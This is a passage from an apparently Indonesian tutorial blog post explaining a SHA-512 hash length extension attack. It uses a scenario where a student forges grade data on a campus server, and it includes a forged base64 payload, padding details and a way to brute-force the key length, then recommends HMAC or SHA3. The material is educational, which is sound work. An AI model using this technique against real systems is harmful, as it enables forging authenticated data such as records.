MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIO0NTMTE0PUE7Q1M1MjE9QTtDUzIyMT1BO0NTMTI1PUE7Q1M0NDQ9QTs=

Akhir cerita, tanpa mengetahui kunci rahasia, si mahasiswa bisa mengubah nilainya menjadi A semua untuk 5 mata kuliah tersebut.

Proses di Server Akademik

Si mahasiswa kini sudah tidak galau lagi karena sudah sukses mencurangi sistem akademik kampusnya. Sekarang kita akan melihat proses di server dan bagaimana server bisa tertipu ?

Berikut adalah source code di server, terlihat bahwa kunci rahasianya adalah ‘s4nG4t#R4h4514’ berukuran 14 byte. Walaupun si mahasiswa tidak mengetahui kunci rahasia itu, tapi dia tetap bisa mengirim data nilainya dengan hash (MAC) yang valid. Kok bisa? Mari kita lihat apa yang sebenarnya terjadi.

Kita mulai dari melihat proses penghitungan hash secret key + data aslinya (‘s4nG4t#R4h45141300000023|CS321=C;CS442=B;’) menjadi ‘1af41c81d…’.

Sekarang kita lihat pada gambar di bawah ini, bagaimana secret key di server digabung dengan data yang dikirim si mahasiswa galau. Sekali lagi yang perlu diingat adalah bahwa hasil penggabungan (concat) antara secret key dan data yang dikirim si mahasiswa, harus membentuk blok pertama yang sama (tidak boleh berbeda).

Dan ini adalah proses penghitungan hash di server setelah secret key digabung dengan data yang dikirim si mahasiswa.

Pada gambar di atas, data yang berwarna hijau gelap adalah secret key ‘s4nG4t#R4h4514’ yang tidak diketahui si mahasiswa. Data yang berwarna hijau terang adalah data yang dikirim oleh si mahasiswa. Jadi proses pada gambar tersebut adalah penghitungan hash dari gabungan (concatenation) kunci rahasia (hijau gelap) dan data yang dikirim si mahasiswa galau (hijau terang).

Perhatikan juga bahwa data yang dikirim si mahasiswa (hijau terang) adalah data aslinya (‘1300000023|CS321=C;CS442=B;’), diikuti dengan padding (80 00 00 … 01 48) untuk menggenapi dan menutup blok data aslinya, kemudian diikuti dengan data tambahan ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ (3B 43 53 31 31…) di awal blok kedua. Si mahasiswa mengirim byte ’01 48′ untuk menutup blok pertama karena panjang secret key (14)+panjang data aslinya (27)=41 byte atau 328 bit dan dalam hexa adalah 01 48.

Sederhananya, data yang dikirim mahasiswa galau adalah hampir semua isi blok pertama kecuali secret key di awal blok (hijau gelap), karena memang dia tidak tahu isinya + data baru tambahan.

Proses Penghitungan oleh si Mahasiswa Galau

Perhatikan perbedaan antara penghitungan hash di server dan di client. Proses penghitungan hash di server dilakukan dari nol, dimulai dari blok pertama dan dengan initial hash value default dari FIPS 3-180 (‘6a09e667…’) karena server mengetahui kunci rahasia ‘s4nG4t#R4h4514’.

Sedangkan client, karena tidak tahu kunci rahasia, dia tidak bisa menghitung hash value dari blok pertama. Tapi walaupun dia tidak tahu isi blok pertama, dia tahu hash dari blok pertama, yaitu ‘1af41c81d…’. Ingat, isi blok pertama tidak dibutuhkan, yang dibutuhkan hanya hash dari blok pertama.

Gambar di bawah ini adalah modifikasi dari gambar proses di server dengan proses penghitungan blok pertama dihilangkan, langsung memproses blok kedua tanpa memproses blok pertama karena memang client tidak tahu isi blok pertama.

Perhatikan pada 128 bit padding berwarna biru, panjang data adalah 05 48 atau 1352 bit, yang merupakan panjang 1 blok data (1024 bit) + panjang ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ dalam bit. Jadi walaupun yang dihitung adalah satu blok saja, tapi penghitungan hash di client ini seolah-olah adalah kelanjutan dari penghitungan blok pertama sehingga panjang datanya harus mengikutsertakan panjang blok pertama juga.

Jadi proses penghitungan hashnya dimulai dari blok pertama (di server) atau langsung dari blok kedua (di client), hasil akhirnya akan sama, ’48be6ba7fa…’.

Bila panjang kunci tidak diketahui

Dalam dua contoh pertama walaupun client tidak tahu isi kuncinya, tapi hanya tahu panjang kunci. Panjang kunci contoh pertama adalah 300 byte (‘A’x300), dan pada contoh kedua panjang kuncinya adalah 14 byte (‘s4nG4t#R4h4514’).

Dengan mengetahui panjang kunci, client bisa dengan mudah menghitung byte padding yang dibutuhkan dan panjang data total yang akan dihash (panjang hasil concat kunci+data dari client). Lalu bagaimana bila client yang akan menyerang tidak tahu isi kunci dan panjang kuncinya ?

Bila panjang kunci tidak diketahui, tidak ada masalah juga. Client bisa dengan mudah melakukan brute force, mulai dari panjang kunci 1, 2, 3, 4… sampai ketemu panjangnya 14. Tools sha512-extender tersebut kalau mau bisa dengan mudah dimodifikasi sedikit untuk mengakomodasi kebutuhan brute force. Kalau panjang kunci 1, maka MAC nya ini, dan data yang harus dikirim ke server adalah ini, kemudian dicoba request ke server, bila gagal, coba lagi tools extender kali ini dengan panjang kunci 2 dan seterusnya.

Pencegahan

Agar program yang kita buat tidak bisa diexploit dengan teknik ini, solusinya sederhana:

1. Don’t reinvent the wheel. Hindari membuat sendiri MAC dengan bentuk-bentuk HASH(kunci+data). Gunakan HMAC (Hash-based MAC) yang memang sudah dirancang untuk membuat MAC yang aman.
2. SHA3 (Keccak) tidak vulnerable terhadap hash length extension, jadi kalau tetap menggunakan bentuk HASH(kunci+data) gunakan SHA3(kunci+data).